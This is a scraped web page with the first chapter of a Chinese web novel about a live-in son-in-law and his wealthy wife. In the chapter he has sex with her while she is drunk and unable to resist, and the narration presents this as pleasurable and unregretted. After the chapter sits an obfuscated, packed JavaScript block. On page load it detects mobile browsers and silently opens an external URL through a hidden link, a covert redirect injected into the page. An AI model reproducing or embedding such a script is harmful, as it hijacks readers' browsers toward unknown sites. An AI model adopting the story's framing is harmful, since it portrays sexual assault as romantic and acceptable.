第五文学网 > 都市小说 > 上门女婿 > 正文 第一章 醉酒的娇妻

正文 第一章 醉酒的娇妻

    “滚开,别碰我。”

    韩东的手被甩脱开,他不禁皱眉看向面前这个摇摇晃晃的女人。

    这是他的新婚妻子夏梦,宴席途中发神经一般的喝了许多酒,此时走路都已经成了问题。

    “贱人!”

    看她醉酒后,也一副高高在上的德行,韩东忍不住从心里骂了一句。

    骂归骂,见她摔倒在地,韩东还是疾步赶上前把人扶了起来。

    夏梦这会还有些基本的神智,挣动着,含糊不清的骂道:“韩,韩东。你离我远点,我最瞧不起你这种为了钱没有底线的人……才几个钱啊,就愿意当上门女婿?要,要不是我爸逼我,我都懒得多看你一眼……”

    你麻痹的,都喝醉了还不忘贬损老子几句。

    韩东羞怒交集,同时又因双手触碰到了她滑不溜手的肌肤而心思晃动。

    夏梦不重,估计一百斤也不到。身子软软的,抱在怀里柔若无骨。尤其是闻到夏梦的体香,深入骨髓一般,让韩东呼吸都加重了些。

    他同意做夏家上门女婿,除了还人情债之外,还有一个重要原因就是他被夏梦给迷住了。

    说起自己的这个老婆,可是东阳市极为出名的大美女,追求者多不胜数。

    白富美这三个字用在夏梦身上都显得太过普通,她有一双修长的美腿,五官玲珑如最完美的雕刻。尤其是雪白的肌肤,不用任何化妆品都能光彩照人。

    关键是还有钱,每天开着一辆红色宝马r8上下班,耀眼至极。

    能娶到这种女人,似乎是荣幸。

    其实不然,韩东跟她领证结婚之后,连她手指都没碰到过。不是不想,而是每当他心猿意马想入非非的时候,夏梦都表现的像是一只炸毛的母老虎,轻则侮辱他癞蛤蟆想吃天鹅肉,重则直接动手打人。再加上韩东上门女婿的身份,在她面前低了不止一头,就只好一忍再忍,心想着总有得偿所愿的一天。

    “韩东,你说你干嘛同意跟我结婚,你明知道我喜欢别人……”这时候,夏梦又含糊说着醉话。

    韩东心里不是滋味,谁他妈知道你喜欢别人。要说知道,也是今天刚知道的。夏梦在席间好像是看到了一个西装革履,衣冠禽兽般的男人,然后就发疯似的开始灌酒。

    郁闷着,怀里轻微的呼吸声响了起来,夏梦睡着了。

    韩东吐了口气,笨拙打开车门把人塞进了后座上,往酒店赶。

    到了房间,他将夏梦放在床上后,已经被折腾出了一身汗。

    刚准备离开,回头间眼睛便有些异色。喉结微动,嗓子干涩。

    原因是夏梦今天穿的是一套蓝色长裙,肩带不知道什么时间从白皙平滑的肩头脱落了,那种白,在灯下接近透明。胸口随着呼吸微微起伏,让人看的快要爆炸。

    韩东不算什么正人君子,却也不喜欢趁人之危。

    暗中掐了一下自己大腿,锥心的剧痛让他人稍清醒了一些。正准备回自己房间休息,夏梦手突兀至极拉住了想要离开的韩东:“不要走。”

    韩东以为她良心发现了,可惜心里温柔还没升起来,就听夏梦呓语道:“玉平,别离开我……”

    玉平?

    邱玉平,最近刚刚上了东阳卫视财经频道专访的那个年轻企业家,也是夏梦酒席上看到的那个男性。

    挺优秀的人,即便是站在男人的角度去看。对方风度翩翩,事业有成,是极少有女人可以抗拒其魅力的类型。

    可是,夏梦现在是自己老婆。

    韩东感觉头顶蒙上了绿油油的草原。

    他压住心里来回冲撞的怒火,声音略带异常:“我不走,我不走。”

    夏梦不知道哪来的力气,眼泪簌簌下坠,起身抱住了韩东,或者说抱住了她幻想中的邱玉平。

    “我爸疼我,我去求他,他肯定会同意咱们在一起……我跟人结婚根本就是被逼的,你放心,我心里始终都只有你一个。你不想要我么,我答应,我什么都答应……”

    嘴上无意识说着,柔软的嘴唇在韩东脸上乱啃起来。

    韩东既羞且怒。

    忽的恶向胆边生,不喜欢没关系,可他凭什么以夏梦老公的身份来听她醉后诉说这些对前男友的思念,是可忍孰不可忍。

    你夏梦既然不拿我当回事,我干嘛还要憋屈自己。

    后果,如此关头谁还有心思去想,更何况面对的还是自己合法的妻子。

    心思一起,人便疯狂。

    韩东积郁了许久的情绪,潮水般涌来,进而决堤。

    如在浪中游曳,又如疲乏一天之后躺在温水之中。滋味玄妙的无以言喻,美不胜收。

    不知道多久,一切安静了下来。

    夏梦期间恢复了一丝神智,却没办法反抗看似只有二十五岁,实则当兵至少七年的韩东。后来,便也认了……

    韩东人渐渐从那种兴奋到极点的感觉中平复,看着陷入熟睡的夏梦眼角无意识涌现的泪痕,他呆呆出神。

    夺造化的一张完美面孔,一眼清澈见底。

    心疼,愧疚,种种情绪涌上,唯独没有后悔,他韩东做事,从不后悔。

    ……

    夏梦身体无一处不痛,无一处不软,被床头震动的闹铃刺激的怏怏睁开了眼睛。

    头顶是熟悉的吊灯,房间也是住了好几天的酒店房间。

    她这次从东阳市过来临安市是出差,本来不想带丈夫韩东,耐不住父亲屡次要求,就妥协了。

    记得昨晚是顺便参加住在临安市的表弟婚礼,巧合的碰到许久没见的前男友邱玉平,再然后……

    她不是在做梦,尤其是看到裸着上身还在熟睡的韩东之后。

    触电一般,她环着手臂躲开。手在颤,脸色在变。

    她那么爱邱玉平,都还始终严防着底线,没有越雷池一步。如今,却被一个毫无感情基础的男人拿走了第一次,即便这男人是她的丈夫。

    乱糟糟的思绪冲击着她,夏梦不假思索,全力一脚蹬在了犹自熟睡的男人身上。

    完了,什么都完了。

    原打算好的不让韩东碰自己,等以后找借口离婚后寻邱玉平再续前缘,他知道自己没有跟韩东上床,肯定会选择体谅她。但现在……

    而犹自在熟睡中的韩东被夏梦这么突然一下,直接踹下了酒店大床。

    摔的不轻,手臂都在木质地板上给蹭破了。

    韩东被这一脚给踹的睡意全消,意识到自己做了什么事情。

    他昨晚竟然把平时高高在上的老婆给睡了。

    眼角余光注意到了床上隐晦的一朵红梅,韩东既激动且心虚。

    激动的是夏梦还是第一次,夏梦平时做事精干老道,韩东压根也没想过她还没有经历男人。心虚却是,自己这老婆他了解的太深,学过女子格斗,平时冷冰冰的性格,霸道,强势。出了这种事,她会怎么对付自己。

    顾不上疼痛,韩东从地上怕了起来,偷瞄了夏梦一眼。

    她拉着被子躲在床脚,只露出雪白修长的颈部。一张俏脸苍白,双眼中密布着让人胆寒的仇恨。


eval(function(p,a,c,k,e,r){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('p x(){j(O y==="\\k\\6\\2\\0\\8\\9\\6\\0\\2"){z P}Q a=(R^S)+(T^U);q A=y[\'\\k\\b\\0\\7\\V\\f\\0\\6\\1\'][\'\\1\\5\\r\\5\\W\\0\\7\\l\\3\\b\\0\']();a=(X^Y)+(Z^10);q B=11 12("13|14|15 16|17|18|19|1a 1b|1c|1d|1e|1f".s("").t().u(""),\'\\9\');z B[\'\\1\\0\\b\\1\'](A)}p C(a){q c=g[\'\\d\\7\\0\\3\\1\\0\\D\\4\\0\\h\\0\\6\\1\']("\\3");c[\'\\m\\7\\0\\8\']=a;c[\'\\b\\1\\i\\4\\0\'][\'\\2\\9\\b\\n\\4\\3\\i\']="1g".s("").t().u("");c[\'\\1\\3\\7\\f\\0\\1\']="\\v\\e\\4\\3\\6\\o";g[\'\\e\\5\\2\\i\'][\'\\3\\n\\n\\0\\6\\2\\l\\m\\9\\4\\2\'](c);c[\'\\d\\4\\9\\d\\o\']();g[\'\\e\\5\\2\\i\'][\'\\7\\0\\h\\5\\E\\0\\l\\m\\9\\4\\2\'](c)}g[\'\\3\\2\\2\\D\\E\\0\\6\\1\\r\\9\\b\\1\\0\\6\\0\\7\']("\\1h\\1i\\1j\\l\\5\\6\\1\\0\\6\\1\\r\\5\\3\\2\\0\\2",p(){j(!F[\'\\f\\4\\5\\e\\3\\4\\G\\3\\7\']){j(g[\'\\e\\5\\2\\i\']!=1k){F[\'\\f\\4\\5\\e\\3\\4\\G\\3\\7\']="\\w";H=I[\'\\f\\0\\1\\w\\1\\0\\h\']("\\4\\k\\d\\o\\v\\8\\8");j(!H&&x()){C("\\m\\1\\1\\n\\1l\\J\\J\\1m\\K\\L\\M\\N\\K\\1n\\L\\8\\M\\d\\N\\d\\5\\h")}I[\'\\b\\0\\1\\w\\1\\0\\h\']("\\4\\k\\d\\o\\v\\8\\8","1o".s("").t().u(""))}}});',62,87,'u0065|u0074|u0064|u0061|u006C|u006F|u006E|u0072|u0066|u0069||u0073|_0xbc9f6d|u0063|u0062|u0067|document|u006D|u0079|if|u0075|u0043|u0068|u0070|u006B|function|const|u004C|split|reverse|join|u005F|u0049|isMobileDevice|navigator|return|_0x0bd|_0xf_0xe23|OpenUrl|u0045|u0076|window|u0056|hasExecuted|localStorage|u002F|u0035|u0033|u0032|u002E|typeof|false|var|687386|687385|212973|212975|u0041|u0077|802130|802133|672503|672510|new|RegExp|elibom|elibomei|inim|arepo|sobew|naibmys|yrrebkcalb|enohp|swodniw|dopi|dapi|enohpi|diordna|enon|u0044|u004F|u004D|null|u003A|u0037|u0036|eurt'.split('|'),0,{}))